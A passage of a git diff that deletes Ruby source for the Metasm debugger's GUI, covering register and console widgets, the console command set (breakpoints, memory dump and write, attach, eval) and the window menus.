messagebox("unsupported file extension #{f}") - end - end - - def extend_contextmenu(tg, menu, addr=nil) - if addr - bm = tg.new_menu - bl = @dbg.all_breakpoints(addr) - if not bl.empty? - tg.addsubmenu(bm, '_clear breakpoint') { bl.each { |b| @dbg.del_bp(b) } } - end - tg.addsubmenu(bm, '_go here') { @dbg.bpx(addr, true) ; dbg_continue } - tg.addsubmenu(bm, '_bpx') { @dbg.bpx(addr) } - tg.addsubmenu(bm, 'bpm _read') { @dbg.hwbp(addr, :r, 1) } - tg.addsubmenu(bm, 'bpm _write') { @dbg.hwbp(addr, :w, 1) } - tg.addsubmenu(menu, '_bp', bm) - end - if @parent_widget.respond_to?(:extend_contextmenu) - @parent_widget.extend_contextmenu(tg, menu, addr) - end - end -end - - -# a widget that displays values of registers of a Debugger -# also controls the Debugger and commands slave windows (showing listing & memory) -class DbgRegWidget < DrawableWidget - attr_accessor :dbg - - def initialize_widget(dbg, parent_widget) - @dbg = dbg - @parent_widget = parent_widget - - @caret_x = @caret_reg = 0 - @oldcaret_x = @oldcaret_reg = 42 - - @tid_stuff = {} - swapin_tid - - @reg_pos = [] # list of x y w h vx of the reg drawing on widget, vx is x of value - - @default_color_association = ColorTheme.merge :label => :text, :data => :blue, :write_pending => :darkred, - :changed => :green, :caret => :text, :inactive => :palegrey - end - - def swapin_tid - stf = @tid_stuff[[@dbg.pid, @dbg.tid]] ||= {} - return if not @dbg.cpu - @write_pending = stf[:write_pending] ||= {} # addr -> newvalue (bytewise) - @registers = stf[:registers] ||= @dbg.register_list - @flags = stf[:flags] ||= @dbg.flag_list - @register_size = stf[:reg_sz] ||= @registers.inject(Hash.new(1)) { |h, r| h.update r => @dbg.register_size[r]/4 } - @reg_cache = stf[:reg_cache] ||= Hash.new(0) - @reg_cache_old = stf[:reg_cache_old] ||= {} - end - - def initialize_visible - gui_update - end - - def click(ex, ey) - if p = @reg_pos.find { |x, y, w, h, vx| x <= ex and x+w >= ex and y <= ey and y+h >= ey } - @caret_reg = @reg_pos.index(p) - @caret_x = ((ex - p[4]) / @font_width).to_i - rs = @register_size[@registers[@caret_reg]] - @caret_x = rs-1 if @caret_x > rs-1 - @caret_x = 0 if @caret_x < 0 - update_caret - end - end - - def rightclick(x, y) - doubleclick(x, y) # XXX - end - - def doubleclick(x, y) - gui_update # XXX - end - - def paint - x = 1 - y = 0 - - w_w = width - - render = lambda { |str, color| - draw_string_color(color, x, y, str) - x += str.length * @font_width - } - - @reg_pos = [] - running = (@dbg.state != :stopped) - regstrlen = @registers.map { |reg| reg.to_s.length + 1 }.max - @registers.each { |reg| - strlen = regstrlen + @register_size[reg] - if x + strlen*@font_width >= w_w - x = 1 - y += @font_height - end - @reg_pos << [x, y, (strlen+1)*@font_width, @font_height, x+regstrlen*@font_width] - - render["#{reg}=".ljust(regstrlen), :label] - v = @write_pending[reg] || @reg_cache[reg] - col = running ? :inactive : @write_pending[reg] ? :write_pending : @reg_cache_old.fetch(reg, v) != v ? :changed : :data - render["%0#{@register_size[reg]}x " % v, col] - x += @font_width # space - } - - @flags.each { |reg| - if x + @font_width >= w_w # XXX nowrap flags ? - x = 1 - y += @font_height - end - @reg_pos << [x, y, @font_width, @font_height, x] - - v = @write_pending[reg] || @reg_cache[reg] - col = running ? :inactive : @write_pending[reg] ? :write_pending : @reg_cache_old.fetch(reg, v) != v ? :changed : :data - v = v == 0 ? reg.to_s.downcase : reg.to_s.upcase - render[v, col] - x += @font_width # space - } - - if focus? - # draw caret - cx = @reg_pos[@caret_reg][4] + @caret_x*@font_width - cy = @reg_pos[@caret_reg][1] - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - @oldcaret_x, @oldcaret_reg = @caret_x, @caret_reg - - @parent_widget.resize_child(self, width, y+@font_height) - end - - # keyboard binding - # basic navigation (arrows, pgup etc) - def keypress(key) - case key - when :left - if @caret_x > 0 - @caret_x -= 1 - update_caret - end - when :right - if @caret_x < @register_size[@registers[@caret_reg]]-1 - @caret_x += 1 - update_caret - end - when :up - if @caret_reg > 0 - @caret_reg -= 1 - else - @caret_reg = @registers.length+@flags.length-1 - end - @caret_x = 0 - update_caret - when :down - if @caret_reg < @registers.length+@flags.length-1 - @caret_reg += 1 - else - @caret_reg = 0 - end - @caret_x = 0 - update_caret - when :home - @caret_x = 0 - update_caret - when :end - @caret_x = @register_size[@registers[@caret_reg]]-1 - update_caret - when :tab - if @caret_reg < @registers.length+@flags.length-1 - @caret_reg += 1 - else - @caret_reg = 0 - end - @caret_x = 0 - update_caret - when :backspace - # TODO - when :enter - commit_writes - redraw - when :esc - @write_pending.clear - redraw - - when ?\x20..?\x7e - if ?a.kind_of?(String) - v = key.ord - case key - when ?\x20; v = nil # keep current value - when ?0..?9; v -= ?0.ord - when ?a..?f; v -= ?a.ord-10 - when ?A..?F; v -= ?A.ord-10 - else return false - end - else - case v = key - when ?\x20; v = nil - when ?0..?9; v -= ?0 - when ?a..?f; v -= ?a-10 - when ?A..?F; v -= ?A-10 - else return false - end - end - - reg = @registers[@caret_reg] || @flags[@caret_reg-@registers.length] - rsz = @register_size[reg] - if v and rsz != 1 - oo = 4*(rsz-@caret_x-1) - ov = @write_pending[reg] || @reg_cache[reg] - ov &= ~(0xf << oo) - ov |= v << oo - @write_pending[reg] = ov - elsif v and (v == 0 or v == 1) # TODO change z flag by typing 'z' or 'Z' - @write_pending[reg] = v - rsz = 1 - end - - if rsz == 1 - @caret_reg += 1 - @caret_reg = @registers.length if @caret_reg >= @registers.length + @flags.length - elsif @caret_x < rsz-1 - @caret_x += 1 - else - @caret_x = 0 - end - redraw - else return false - end - true - end - - def pre_dbg_run - @reg_cache_old.replace @reg_cache if @reg_cache - end - - def commit_writes - @write_pending.each { |k, v| - if @registers.index(k) - @dbg.set_reg_value(k, v) - else - @dbg.set_flag_value(k, v) - end - @reg_cache[k] = v - } - @write_pending.clear - end - - def gui_update - @reg_cache.replace @registers.inject({}) { |h, r| h.update r => @dbg.get_reg_value(r) } - @flags.each { |f| @reg_cache[f] = @dbg.get_flag_value(f) } - redraw - end - - # hint that the caret moved - def update_caret - return if @oldcaret_x == @caret_x and @oldcaret_reg == @caret_reg - - invalidate_caret(@oldcaret_x, 0, *@reg_pos[@oldcaret_reg].values_at(4, 1)) - invalidate_caret(@caret_x, 0, *@reg_pos[@caret_reg].values_at(4, 1)) - - @oldcaret_x, @oldcaret_reg = @caret_x, @caret_reg - end - -end - - -# a widget that displays logs of the debugger, and a cli interface to the dbg -class DbgConsoleWidget < DrawableWidget - attr_accessor :dbg, :cmd_history, :log, :statusline, :commands, :cmd_help - - def initialize_widget(dbg, parent_widget) - @dbg = dbg - @parent_widget = parent_widget - @dbg.gui = self - - @log = [] - @log_length = 4000 - @log_offset = 0 - @curline = '' - @statusline = 'type \'help\' for help' - @cmd_history = [''] - @cmd_history_length = 200 # number of past commands to remember - @cmd_histptr = nil - - @dbg.set_log_proc { |l| add_log l } - - @default_color_association = ColorTheme.merge :log => :palegrey, :curline => :white, :caret => :yellow, - :background => :black, :status => :black, :status_bg => '088' - - init_commands - end - - def initialize_visible - grab_focus - gui_update - end - - def swapin_tid - @parent_widget.swapin_tid - end - - def swapin_pid - @parent_widget.swapin_pid - end - - def click(x, y) - @caret_x = (x-1).to_i / @font_width - 1 - @caret_x = [[@caret_x, 0].max, @curline.length].min - update_caret - end - - def doubleclick(x, y) - # TODO real copy/paste - # for now, copy the line under the dblclick - y -= height % @font_height - y = y.to_i / @font_height - hc = height / @font_height - if y == hc - 1 - txt = @statusline - elsif y == hc - 2 - txt = @curline - else - txt = @log.reverse[@log_offset + hc - y - 3].to_s - end - clipboard_copy(txt) - end - - # copy/paste word under cursor (paste when on last line) - def rightclick(x, y) - y -= height % @font_height - y = y.to_i / @font_height - hc = height / @font_height - x /= @font_width - if y >= hc - 2 - keypress_ctrl ?v - else - txt = @log.reverse[@log_offset + hc - y - 3].to_s - word = txt[0...x].to_s[/\w*$/] << txt[x..-1].to_s[/^\w*/] - clipboard_copy(word) - end - end - - def mouse_wheel(dir, x, y) - case dir - when :up; @log_offset += 3 - when :down; @log_offset -= 3 - end - redraw - end - - def paint - y = height - - render = lambda { |str, color| - draw_string_color(color, 1, y, str) - y -= @font_height - } - - w_w = width - - y -= @font_height - draw_rectangle_color(:status_bg, 0, y, w_w, @font_height) - str = "#{@dbg.pid}:#{@dbg.tid} #{@dbg.state} #{@dbg.info}" - draw_string_color(:status, w_w-str.length*@font_width-1, y, str) - draw_string_color(:status, 1+@font_width, y, @statusline) - y -= @font_height - - w_w_c = w_w/@font_width - @caret_y = y - if @caret_x < w_w_c-1 - render[':' + @curline, :curline] - else - render['~' + @curline[@caret_x-w_w_c+2, w_w_c], :curline] - end - - l_nr = -1 - lastline = nil - @log_offset = 0 if @log_offset < 0 - @log.reverse.each { |l| - l.scan(/.{1,#{w_w/@font_width}}/).reverse_each { |l_| - lastline = l_ - l_nr += 1 - next if l_nr < @log_offset - render[l_, :log] - } - break if y < 0 - } - if lastline and l_nr < @log_offset - render[lastline, :log] - @log_offset = l_nr-1 - end - - if focus? - cx = [@caret_x+1, w_w_c-1].min*@font_width+1 - cy = @caret_y - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - @oldcaret_x = @caret_x - end - - def keypress(key) - case key - when :left - if @caret_x > 0 - @caret_x -= 1 - update_caret - end - when :right - if @caret_x < @curline.length - @caret_x += 1 - update_caret - end - when :up - if not @cmd_histptr - if @curline != '' - @cmd_history << @curline - @cmd_histptr = 2 - else - @cmd_histptr = 1 - end - else - @cmd_histptr += 1 - @cmd_histptr = 1 if @cmd_histptr > @cmd_history.length - end - @curline = @cmd_history[-@cmd_histptr].dup - @caret_x = @curline.length - update_status_cmd - redraw - - when :down - if not @cmd_histptr - @cmd_history << @curline if @curline != '' - @cmd_histptr = @cmd_history.length - else - @cmd_histptr -= 1 - @cmd_histptr = @cmd_history.length if @cmd_histptr < 1 - end - @curline = @cmd_history[-@cmd_histptr].dup - @caret_x = @curline.length - update_status_cmd - redraw - - when :home - @caret_x = 0 - update_caret - when :end - @caret_x = @curline.length - update_caret - - when :pgup - @log_offset += height/@font_height - 3 - redraw - when :pgdown - @log_offset -= height/@font_height - 3 - redraw - - when :tab - # autocomplete - if @caret_x > 0 and not @curline[0, @caret_x].index(?\ ) and st = @curline[0, @caret_x] and not @commands[st] - keys = @commands.keys.find_all { |k| k[0, st.length] == st } - while st.length < keys.first.to_s.length and keys.all? { |k| k[0, st.length+1] == keys.first[0, st.length+1] } - st << keys.first[st.length] - @curline[@caret_x, 0] = st[-1, 1] - @caret_x += 1 - end - update_status_cmd - redraw - end - - when :enter - @cmd_histptr = nil - handle_command - update_status_cmd - when :esc - when :delete - if @caret_x < @curline.length - @curline[@caret_x, 1] = '' - update_status_cmd - redraw - end - when :backspace - if @caret_x > 0 - @caret_x -= 1 - @curline[@caret_x, 1] = '' - update_status_cmd - redraw - end - - when :insert - if keyboard_state(:shift) - txt = clipboard_paste.to_s - @curline[@caret_x, 0] = txt - @caret_x += txt.length - update_status_cmd - redraw - end - - when Symbol; return false # avoid :shift cannot coerce to Int warning - when ?\x20..?\x7e - @curline[@caret_x, 0] = key.chr - @caret_x += 1 - update_status_cmd - redraw - - else return false - end - true - end - - def keypress_ctrl(key) - case key - when ?v - txt = clipboard_paste.to_s - @curline[@caret_x, 0] = txt - @caret_x += txt.length - update_status_cmd - redraw - else return false - end - true - end - - def update_status_cmd - st = @curline.split.first - if @commands[st] - @statusline = "#{st}: #{@cmd_help[st]}" - else - keys = @commands.keys.find_all { |k| k[0, st.length] == st } if st - if keys and not keys.empty? - @statusline = keys.sort.join(' ') - else - @statusline = 'type \'help\' for help' - end - end - end - - def new_command(*cmd, &b) - hlp = cmd.pop if cmd.last.include? ' ' - cmd.each { |c| - @cmd_help[c] = hlp || 'nodoc' - @commands[c] = lambda { |*a| protect { b.call(*a) } } - } - end - - # arg str -> expr value, with special codeptr/dataptr = code/data.curaddr - def parse_expr(arg) - parse_expr!(arg.dup) - end - - def parse_expr!(arg) - @dbg.parse_expr!(arg) { |e| - case e.downcase - when 'code_addr', 'codeptr'; @parent_widget.code.curaddr - when 'data_addr', 'dataptr'; @parent_widget.mem.curaddr - end - } - end - - def solve_expr(arg) - return arg if arg.kind_of? Integer - solve_expr!(arg.dup) - end - - def solve_expr!(arg) - return if not e = parse_expr!(arg) - @dbg.resolve_expr(e) - end - - # update the data window, or dump data to console if len given - def cmd_dd(addr, dlen=nil, len=nil) - if addr.kind_of? String - s = addr.strip - addr = solve_expr!(s) || @parent_widget.mem.curaddr - if not s.empty? - s = s[1..-1] if s[0] == ?, - len ||= solve_expr(s) - end - end - - if len - while len > 0 - data = @dbg.memory[addr, [len, 16].min] - le = (@dbg.cpu.endianness == :little) - data = '' if @dbg.memory.page_invalid?(addr) - case dlen - when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("^\x20-\x7e", '.')}" - when 1; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ')}" - when 2; add_log "#{Expression[addr]} #{data.unpack(le ? 'v*' : 'n*').map { |c| '%04X' % c }.join(' ')}" - when 4; add_log "#{Expression[addr]} #{data.unpack(le ? 'V*' : 'N*').map { |c| '%08X' % c }.join(' ')}" - when 8; add_log "#{Expression[addr]} #{data.unpack('Q*').map { |c| '%016X' % c }.join(' ')}" - end - addr += 16 - len -= 16 - end - else - if dlen - @parent_widget.mem.view(:hex).data_size = dlen - @parent_widget.mem.view(:hex).resized - @parent_widget.mem.showview(:hex) - end - @parent_widget.mem.focus_addr(solve_expr(addr)) - @parent_widget.mem.gui_update - end - end - - def init_commands - @commands = {} - @cmd_help = {} - p = @parent_widget - new_command('help') { add_log @commands.keys.sort.join(' ') } # TODO help <subject> - new_command('d', 'focus data window on an address') { |arg| cmd_dd(arg) } - new_command('db', 'dump/focus bytes in data window') { |arg| cmd_dd(arg, 1) } - new_command('dw', 'dump/focus words in data window') { |arg| cmd_dd(arg, 2) } - new_command('dd', 'dump/focus dwords in data window') { |arg| cmd_dd(arg, 4) } - new_command('dq', 'dump/focus qwords in data window') { |arg| cmd_dd(arg, 8) } - new_command('dc', 'focus C struct in data window: <name> <addr>') { |arg| - name, addr = arg.strip.split(/\s+/, 2) - addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) - @parent_widget.mem.focus_addr(addr, :cstruct, false, name) - } - new_command('dC', 'dump C struct: dC <name> <addr>') { |arg| - name, addr = arg.strip.split(/\s+/, 2) - addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) - if st = @dbg.disassembler.c_parser.decode_c_struct(name, @dbg.memory, addr) - add_log st.to_s.gsub("\t", ' ') - end - } - new_command('u', 'focus code window on an address') { |arg| p.code.focus_addr(solve_expr(arg)) } - new_command('.', 'focus code window on current address') { p.code.focus_addr(solve_expr(@dbg.register_pc.to_s)) } - new_command('wc', 'set code window height') { |arg| - if arg == '' - p.code.curview.grab_focus - else - p.resize_child(p.code, width, arg.to_i*@font_height) - end - } - new_command('wd', 'set data window height') { |arg| - if arg == '' - p.mem.curview.grab_focus - else - p.resize_child(p.mem, width, arg.to_i*@font_height) - end - } - new_command('wp', 'set console window height') { |arg| - if arg == '' - grab_focus - else - p.resize_child(self, width, arg.to_i*@font_height) - end - } - new_command('width', 'set window width (chars)') { |arg| - if a = solve_expr(arg); p.win.width = a*@font_width - else add_log "width #{p.win.width/@font_width}" - end - } - new_command('height', 'set window height (chars)') { |arg| - if a = solve_expr(arg); p.win.height = a*@font_height - else add_log "height #{p.win.height/@font_height}" - end - } - new_command('continue', 'run', 'let the target run until something occurs') { p.dbg_continue } - new_command('stepinto', 'singlestep', 'run a single instruction of the target') { p.dbg_singlestep } - new_command('stepover', 'run a single instruction of the target, do not enter into subfunctions') { p.dbg_stepover } - new_command('stepout', 'stepover until getting out of the current function') { p.dbg_stepout } - new_command('bpx', 'set a breakpoint') { |arg| - arg =~ /^(.*?)( once)?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, o, c, a = $1, $2, ($3 || $5), $4 - o = o ? true : false - cd = parse_expr(c) if c - cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.bpx(solve_expr(e), o, cd, &cb) - } - new_command('hwbp', 'set a hardware breakpoint (hwbp 0x2345 w)') { |arg| - arg =~ /^(.*?)( once)?( [rwx])?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, o, t, c, a = $1, $2, $3, ($4 || $6), $5 - o = o ? true : false - t = (t || 'x').strip.to_sym - cd = parse_expr(c) if c - cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.hwbp(solve_expr(e), t, 1, o, cd, &cb) - } - new_command('bpm', 'set a hardware memory breakpoint: bpm r 0x4800ff 16') { |arg| - arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, c, a = $1, ($2 || $4), $3 - cd = parse_expr(c) if c - cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - raise 'bad syntax: bpm r|w|x addr [len]' unless e =~ /^([rwx]) (.*)/i - mode = $1.downcase.to_sym - e = $2 - exp = solve_expr!(e) - len = solve_expr(e) if e != '' - len ||= 1 - @dbg.bpm(exp, mode, len, false, cd, &cb) - } - new_command('g', 'wait until target reaches the specified address') { |arg| - arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, c, a = $1, ($2 || $4), $3 - cd = parse_expr(c) if c - cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.bpx(solve_expr(e), true, cd, &cb) if arg - p.dbg_continue - } - new_command('refresh', 'redraw', 'update', 'update the target memory/register cache') { - @dbg.invalidate - @dbg.dasm_invalidate - p.gui_update - } - new_command('bl', 'list breakpoints') { - @bl = [] - @dbg.all_breakpoints.each { |b| - add_log "#{@bl.length} #{@dbg.addrname!(b.address)} #{b.type} #{b.state}#{" if #{b.condition}" if b.condition}" - @bl << b - } - } - new_command('bc', 'clear breakpoints') { |arg| - @bl ||= @dbg.all_breakpoints - if arg == '*' - @bl.each { |b| @dbg.del_bp(b) } - else - next if not i = solve_expr(arg) - if b = @bl[i] - @dbg.del_bp(b) - end - end - } - new_command('break', 'interrupt a running target') { |arg| @dbg.break ; p.post_dbg_run } - new_command('kill', 'kill the target') { |arg| @dbg.kill(arg) ; p.post_dbg_run } - new_command('detach', 'detach from the target') { @dbg.detach ; p.post_dbg_run } - new_command('r', 'read/write the content of a register') { |arg| - reg, val = arg.split(/\s+|\s*=\s*/, 2) - if reg == 'fl' - @dbg.toggle_flag(val.to_sym) - elsif not reg - @dbg.register_list.each { |r| - add_log "#{r} = #{Expression[@dbg.get_reg_value(r)]}" - } - elsif not val - add_log "#{reg} = #{Expression[@dbg.get_reg_value(reg.to_sym)]}" - else - @dbg.set_reg_value(reg.to_sym, solve_expr(val)) - end - p.regs.gui_update - } - new_command('ma', 'memory_ascii', 'write memory (ascii) - ma <addr> foo bar') { |arg| - next if not addr = solve_expr!(arg) - data = arg.strip - @dbg.memory[addr, data.length] = data - @dbg.invalidate - @dbg.dasm_invalidate - p.gui_update - } - new_command('mx', 'memory_hex', 'write memory (hex) - mx <addr> 0011223344') { |arg| - next if not addr = solve_expr!(arg) - data = [arg.delete(' ')].pack('H*') - @dbg.memory[addr, data.length] = data - @dbg.invalidate - @dbg.dasm_invalidate - p.gui_update - } - new_command('?', 'display a value') { |arg| - next if not v = solve_expr(arg) - add_log "#{v} 0x#{v.to_s(16)} #{[v & 0xffff_ffff].pack('L').inspect} #{@dbg.addrname!(v)}" - } - new_command('exit', 'quit', 'quit the debugger interface') { p.win.destroy } - new_command('ruby', 'execute arbitrary ruby code') { |arg| - case ret = eval(arg) - when nil, true, false, Symbol; add_log ret.inspect - when String; add_log ret[0, 64].inspect - when Integer, Expression; add_log Expression[ret].to_s - else add_log "#<#{ret.class}>" - end - } - new_command('loadsyms', 'load symbols from a mapped module') { |arg| - if not arg.empty? and arg = (solve_expr(arg) rescue arg) - @dbg.loadsyms(arg) - else - @dbg.loadallsyms { |a| - @statusline = "loading symbols from #{Expression[a]}" - redraw - Gui.main_iter - } - end - p.gui_update - } - new_command('scansyms', 'scan target memory for loaded modules') { - if defined? @scan_addr and @scan_addr - add_log 'scanning @%08x' % @scan_addr - next - end - @scan_addr = 0 - Gui.idle_add { - if @scan_addr <= 0xffff_f000 # cpu.size? - protect { @dbg.loadsyms(@scan_addr) } - @scan_addr += 0x1000 - true - else - add_log 'scansyms finished' - @scan_addr = nil - p.gui_update - nil - end - } - } - new_command('symbol', 'display information on symbols') { |arg| - arg = arg.to_s.downcase - @dbg.symbols.map { |k, v| an = @dbg.addrname(k) ; [k, an] if an.downcase.include? arg }.compact.sort_by { |k, v| v.downcase }.each { |k, v| - add_log "#{Expression[k]} #{@dbg.addrname(k)}" - } - } - new_command('maps', 'show file mappings from parsed modules') { |arg| - want = arg.to_s.downcase - want = nil if want == '' - @dbg.modulemap.map { |n, (a_b, a_e)| - [a_b, "#{Expression[a_b]}-#{Expression[a_e]} #{n}"] if not want or n.downcase.include?(want) - }.compact.sort.each { |s1, s2| - add_log s2 - } - } - new_command('rawmaps', 'show OS file mappings') { |arg| - # XXX listwindow - @dbg.mappings.sort.each { |a, l, *i| - foo = i*' ' - next if arg.to_s != '' and foo !~ /#{arg}/i - add_log "%08x %06x %s" % [a, l, i*' '] - } - } - new_command('add_symbol', 'add a symbol name') { |arg| - name, val = arg.to_s.split(/\s+/, 2) - val = solve_expr(val) - if val.kind_of? Integer - @dbg.symbols[val] = name - @dbg.disassembler.set_label_at(val, name) - p.gui_update - end - } - new_command('bt', 'backtrace', 'stacktrace', 'bt [limit] - show a stack trace from current pc') { |arg| - arg = solve_expr(arg) if arg - arg = 500 if not arg.kind_of? ::Integer - @dbg.stacktrace(arg) { |a, s| add_log "#{Expression[a]} #{s}" } - } - new_command('dasm', 'disassemble_fast', 'disassembles from an address') { |arg| - addr = solve_expr(arg) - dasm = @dbg.disassembler - dasm.disassemble_fast(addr) - dasm.function_blocks(addr).keys.sort.each { |a| - next if not di = dasm.di_at(a) - dasm.dump_block(di.block) { |l| add_log l } - } - p.gui_update - } - new_command('save_hist', 'save the command buffer to a file') { |arg| - File.open(arg, 'w') { |fd| fd.puts @log } - } - - new_command('watch', 'follow an expression in the data view (none to delete)') { |arg| - if not arg - add_log p.watchpoint[p.mem].to_s - elsif arg == 'nil' or arg == 'none' or arg == 'delete' - p.watchpoint.delete p.mem - else - p.watchpoint[p.mem] = parse_expr(arg) - end - } - - new_command('list_pid', 'list pids currently debugged') { |arg| - add_log @dbg.list_debug_pids.sort.map { |pp| pp == @dbg.pid ? "*#{pp}" : pp }.join(' ') - } - new_command('list_tid', 'list tids currently debugged') { |arg| - add_log @dbg.list_debug_tids.sort.map { |tt| tt == @dbg.tid ? "*#{tt}" : tt }.join(' ') - } - - new_command('list_processes', 'list processes available for debugging') { |arg| - @dbg.list_processes.each { |pp| - add_log "#{pp.pid} #{pp.path}" - } - } - new_command('list_threads', 'list thread ids of the current process') { |arg| - @dbg.list_threads.each { |t| - stf = { :state => @dbg.state, :info => @dbg.info } if t == @dbg.tid - stf ||= @dbg.tid_stuff[t] - stf ||= {} - add_log "#{t} #{stf[:state]} #{stf[:info]}" - } - } - - new_command('pid', 'select a pid') { |arg| - if pid = solve_expr(arg) - @dbg.pid = pid - else - add_log "pid #{@dbg.pid}" - end - } - new_command('tid', 'select a tid') { |arg| - if tid = solve_expr(arg) - @dbg.tid = tid - else - add_log "tid #{@dbg.tid} #{@dbg.state} #{@dbg.info}" - end - } - - new_command('exception_pass', 'pass the exception unhandled to the target on next continue') { - @dbg.pass_current_exception - } - new_command('exception_handle', 'handle the exception, hide it from the target on next continue') { - @dbg.pass_current_exception false - } - - new_command('exception_pass_all', 'ignore all target exceptions') { - @dbg.pass_all_exceptions = true - } - new_command('exception_handle_all', 'break on target exceptions') { - @dbg.pass_all_exceptions = false - } - - new_command('thread_events_break', 'break on thread creation/termination') { - @dbg.ignore_newthread = false - @dbg.ignore_endthread = false - } - new_command('thread_events_ignore', 'ignore thread creation/termination') { - @dbg.ignore_newthread = true - @dbg.ignore_endthread = true - } - - new_command('trace_children', 'trace children of debuggee (0|1)') { |arg| - arg = case arg.to_s.strip.downcase - when '0', 'no', 'false'; false - else true - end - add_log "trace children #{arg ? 'active' : 'inactive'}" - # update the flag for future debugee - @dbg.trace_children = arg - # change current debugee setting if supported - @dbg.do_trace_children if @dbg.respond_to?(:do_trace_children) - } - - new_command('attach', 'attach to a running process') { |arg| - if pr = @dbg.list_processes.find { |pp| pp.path.to_s.downcase.include?(arg.downcase) } - pid = pr.pid - else - pid = solve_expr(arg) - end - @dbg.attach(pid) - } - new_command('create_process', 'create a new process and debug it') { |arg| - @dbg.create_process(arg) - } - - new_command('plugin', 'load', 'load a debugger plugin') { |arg| - @dbg.load_plugin arg - add_log "loaded plugin #{File.basename(arg, '.rb')}" - } - - - @dbg.ui_command_setup(self) if @dbg.respond_to? :ui_command_setup - end - - def wrap_run(&b) @parent_widget.wrap_run(&b) end - def keyboard_callback; @parent_widget.keyboard_callback end - def keyboard_callback_ctrl; @parent_widget.keyboard_callback_ctrl end - - def handle_command - add_log(":#@curline") - return if @curline == '' - @cmd_history << @curline - @cmd_history.shift if @cmd_history.length > @cmd_history_length - @log_offset = 0 - cmd = @curline - @curline = '' - @caret_x = 0 - - run_command(cmd) - end - - def run_command(cmd) - cmd = cmd.sub(/^\s+/, '') - cn = cmd.split.first - if not @commands[cn] - a = @commands.keys.find_all { |k| k[0, cn.length] == cn } - cn = a.first if a.length == 1 - end - if pc = @commands[cn] - pc[cmd.split(/\s+/, 2)[1].to_s] - else - add_log 'unknown command' - end - end - - def add_log(l) - @log << l.to_s - @log.shift if log.length > @log_length - redraw - end - - def gui_update - redraw - end - - # hint that the caret moved - def update_caret - return if @oldcaret_x == @caret_x - w_w = width - @font_width - x1 = (@oldcaret_x+1) * @font_width + 1 - x2 = (@caret_x+1) * @font_width + 1 - y = @caret_y - - if x1 > w_w or x2 > w_w - invalidate(0, y, 100000, @font_height) - else - invalidate(x1-1, y, 2, @font_height) - invalidate(x2-1, y, 2, @font_height) - end - - @oldcaret_x = @caret_x - end -end - -class DbgWindow < Window - attr_accessor :dbg_widget - def initialize_window(dbg = nil, title='metasm debugger') - self.title = title - display(dbg) if dbg - end - - # show a new DbgWidget - def display(dbg) - @dbg_widget = DbgWidget.new(dbg) - @dbg_widget.win = self - self.widget = @dbg_widget - @dbg_widget - end - - def build_menu - filemenu = new_menu - addsubmenu(filemenu, '_attach process') { @dbg_widget.prompt_attach } - addsubmenu(filemenu, 'create _process') { @dbg_widget.prompt_createprocess } - addsubmenu(filemenu, 'open _dasm window') { DasmWindow.new } - addsubmenu(filemenu) - addsubmenu(filemenu, 'QUIT') { destroy } - - addsubmenu(@menu, filemenu, '_File') - - dbgmenu = new_menu - addsubmenu(dbgmenu, 'continue', '<f5>') { @dbg_widget.dbg_continue } - addsubmenu(dbgmenu, 'step over', '<f10>') { @dbg_widget.dbg_stepover } - addsubmenu(dbgmenu, 'step into', '<f11>') { @dbg_widget.dbg_singlestep } - addsubmenu(dbgmenu, '_kill target') { @dbg_widget.dbg.kill } - addsubmenu(dbgmenu, '_detach target') { @dbg_widget.dbg.detach } - addsubmenu(dbgmenu) - addsubmenu(dbgmenu, 'QUIT') { destroy } - - addsubmenu(@menu, dbgmenu, '_Debug') - - codeviewmenu = new_menu - addsubmenu(codeviewmenu, '_listing') { @dbg_widget.code.focus_addr(@dbg_widget.code.curaddr, :listing) } - addsubmenu(codeviewmenu, '_graph') { @dbg_widget.code.focus_addr(@dbg_widget.code.curaddr, :graph) } - addsubmenu(codeviewmenu, 'raw _opcodes') { @dbg_widget.code.focus_addr(@dbg_widget.code.curaddr, :opcodes) } - - dataviewmenu = new_menu - addsubmenu(dataviewmenu, '_hexa') { @dbg_widget.mem.focus_addr(@dbg_widget.mem.curaddr, :hex) } - addsubmenu(dataviewmenu, 'raw _opcodes') { @dbg_widget.mem.focus_addr(@dbg_widget.mem.curaddr, :opcodes) } - addsubmenu(dataviewmenu, '_c struct') { @dbg_widget.mem.focus_addr(@dbg_widget.mem.curaddr, :cstruct) } - - focusmenu = new_menu - addsubmenu(focusmenu, '_regs') { @dbg_widget.regs.grab_focus ; @dbg_widget.redraw } - addsubmenu(focusmenu, '_data') { @dbg_widget.mem.grab_focus ; @dbg_widget.redraw } - addsubmenu(focusmenu, '_code') { @dbg_widget.code.grab_focus ; @dbg_widget.redraw } - addsubmenu(focusmenu, 'conso_le', '.') { @dbg_widget.console.grab_focus ; @dbg_widget.redraw } - - viewmenu = new_menu - addsubmenu(viewmenu, codeviewmenu, '_code display') - addsubmenu(viewmenu, dataviewmenu, '_data display') - addsubmenu(viewmenu, focusmenu, '_focus') - addsubmenu(viewmenu, 'data _watch') { @dbg_widget.prompt_datawatch } - addsubmenu(@menu, viewmenu, '_Views') - end -end - -end -end diff --git a/lib/metasm/metasm/gui/gtk.rb b/lib/metasm/metasm/gui/gtk.rb deleted file mode 100644 index 05c20ab1ef..0000000000 --- a/lib/metasm/metasm/gui/gtk.rb +++ /dev/null @@ -1,1006 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'gtk2' - -module Metasm -module Gui - -module Protect - @@lasterror = Time.now - def protect - yield - rescue Object - puts $!.message, $!.backtrace # also dump on stdout, for c/c - 